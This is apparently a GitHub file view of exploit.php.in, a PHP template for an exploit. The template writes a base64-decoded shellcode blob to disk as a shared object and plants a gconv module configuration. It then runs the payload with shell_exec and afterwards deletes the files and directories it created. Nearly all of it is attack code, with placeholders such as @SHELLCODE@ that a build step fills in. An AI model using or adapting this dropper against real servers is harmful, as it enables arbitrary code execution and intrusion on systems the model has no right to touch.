-
Notifications
You must be signed in to change notification settings - Fork 1
/
exploit.php.in
34 lines (32 loc) · 917 Bytes
/
exploit.php.in
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
class Run
{
private $dirs = array('@GCONV_DIR@', '@SO_DIR@');
private $files = array(
array('name' => '@SO_PATH@', 'content' => ''),
array('name' => '@GCONV_DIR@/@SO_NAME@', 'content' => ''),
array('name' => '@GCONV_MOD_PATH@', 'content' => '@GCONV_MOD_CONTENT@'),
);
public function __construct()
{
foreach ($this->dirs as $d) {
if (!is_dir($d))
mkdir($d, 0755, true);
}
$this->files[0]['content'] = base64_decode('@SHELLCODE@', false);
foreach ($this->files as $f) {
file_put_contents($f['name'], $f['content']);
chmod($f['name'], 0755);
}
shell_exec('./@SO_PATH@');
}
public function __destruct()
{
foreach ($this->files as $f)
unlink($f['name']);
foreach ($this->dirs as $d)
rmdir($d);
}
};
new Run();
?>